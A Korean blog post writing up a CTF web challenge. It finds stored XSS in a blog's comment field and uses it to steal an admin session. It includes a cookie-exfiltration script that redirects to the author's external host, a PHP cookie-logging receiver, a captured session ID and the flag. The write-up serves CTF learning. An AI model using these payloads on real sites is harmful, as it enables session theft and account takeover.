티스토리 뷰
해당 내용은 CTF 종료 후 서버가 일부 동작하지 않아 정확하지 않은 부분이 있을 수 있습니다.
귀여운 고양이 두마리가 반겨주는 블로그
아래쪽에는 글을 남길 수가 있다.
메인 페이지에서 다른 페이지가 직접적으로 나타난 부분은 없지만 많이 사용하는 페이지명을 입력해보면 아래와 같이 login.php 페이지가 존재하는 것을 확인할 수 있고, admin.php 페이지도 접근은 안되지만 접근 시도 시 login.php 페이지로 이동되는 것을 확인할 수 있다.
다시 메인 페이지로 돌아와서, 간단하게 alert 창을 띄우는 스크립트를 삽입해보았다.
<script>alert('xss');</script>
작성한 다음 다시 메인 페이지에 접근해보면 아래와 같이 창이 발생하여 삽입한 스크립트가 정상적으로 동작하는 것을 확인할 수 있다.
소스를 보면 삽입된 스크립트를 확인할 수 있다.
CTF 당시 글을 작성하고 일정 시간 뒤에 작성한 글이 삭제되는 것을 확인할 수 있었고, 주기적으로 서버에서 어떠한 처리를 한다는 것을 추측할 수 있었다.
그래서 관리자가 해당 글을 확인하고 삭제한다는 가정을 하고 글이 작성된 페이지에 접근 시 관리자의 세션 정보를 가로채는 스크립트를 삽입하였다.
<script>window.location.href='http://do9.kr/pwn/?c='+document.cookie;</script>
(XSS를 삽입하고 admin.php 페이지에 접근하면 접근한 세션의 페이지에 관리자가 접근하는 방식이거나 일정 시간마다 사람들의 페이지에 접근하는 방식으로 문제를 풀 수 있게 만들어놓지 않았을까? 생각하고 스크립트를 삽입하고 결과를 확인했지만 관리자 세션은 오지 않고 내 세션만 주구장창 날라와서 결국에는 못 풀었다. 다른 사람이 푼 방식하고 내가 시도한 방식의 어느 부분이 차이가 있는 걸까? 아직도 잘 모르겠다.)
삽입한 다음 확인해보면 Comment 부분이 보이지 않는 것을 볼 수 있다.
소스를 보면 삽입한 스크립트를 확인할 수 있다.
서버 쪽에 아래와 같이 받은 값을 파일로 저장하여 바로 확인할 수 있도록 코드를 작성하였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php $data = isset($_GET['c']) ? $_GET['c'] : false; if($data) { $fp = fopen('cookie.txt', 'a+'); fputs($fp, $data."\n"); fclose($fp); } foreach(glob('cookie.txt') as $filename) { $contents = implode(file($filename)); print("$contents"); } ?> | cs |
그리고나서 페이지에 방문해보면 관리자의 세션을 확인할 수 있다.
PHPSESSID=515386866780b5f132fc96c02b3ddb82
다른 사람이 작성한 내용들을 확인해보면 "http://172.17.118.91:8083/privateindex.php?id=do9dark" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.0 Safari/534.34" 에서 삽입한 스크립트를 확인하여 페이지가 이동된 것을 알 수 있었다.
앞에서 확인한 관리자 세션으로 변경해준다.
세션을 변경하고 admin.php 페이지에 접근해보면 login.php 페이지로 이동되지 않고 접근이 되는 것을 볼 수 있고 Flag를 확인할 수 있다.
Flag: 61cd1f35a216dc79723605c1628c1132
'CTF (Git으로 이사 예정)' 카테고리의 다른 글
[SSCTF] Flag-Man - Web (400) (0) | 2016.03.04 |
---|---|
[SSCTF] Legend ? Legend ! - Web (300) (0) | 2016.03.03 |
[SSCTF] Can You Hit ME ? - Web (200) (0) | 2016.03.02 |
[SSCTF] Up!Up!Up! - Web (100) (0) | 2016.03.01 |
[SharifCTF] technews - Web (200) (0) | 2016.02.09 |
[32C3] ITD - Web (150) (0) | 2016.01.19 |
[32C3] Sequence Hunt - Web (200) (0) | 2016.01.13 |
[32C3] Kummerkasten - Web (300) (0) | 2016.01.12 |
[32C3] TinyHosting - Web (250) (0) | 2016.01.11 |
[32C3] MonkeyBase - Web (200) (0) | 2016.01.07 |